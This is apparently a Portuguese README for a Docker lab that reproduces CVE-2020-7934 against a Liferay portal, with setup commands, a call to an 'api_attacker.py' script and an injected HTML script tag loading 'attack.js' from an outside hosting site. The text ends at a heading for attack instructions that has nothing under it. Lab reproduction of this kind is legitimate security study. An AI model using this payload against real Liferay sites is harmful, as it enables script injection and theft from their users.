CVE 2020-7934

Como executar o CVE

Requisitos

1. docker

Observações

é possível colocar o script de ataque online (dado o código js) http://yourjavascript.com/ Nosso script Js online para o ataque html <script src="http://yourjavascript.com/920172199111/attack.js"></script>

Comandos para configuração

1. vá para a pasta raiz deste projeto
2. execute "sudo docker-compose up --build"
3. novo terminal: execute "docker inspect liferay" ==> e copie o valor do IPAddress
4. novo terminal: execute "python api_attacker.py"
5. abra um navegador e vá para "http://IPAddress:8080" ==> você deve obter o portal liferay como resposta
6. para parar e deletar containers use "sudo docker-compose rm"

Instruções para o ataque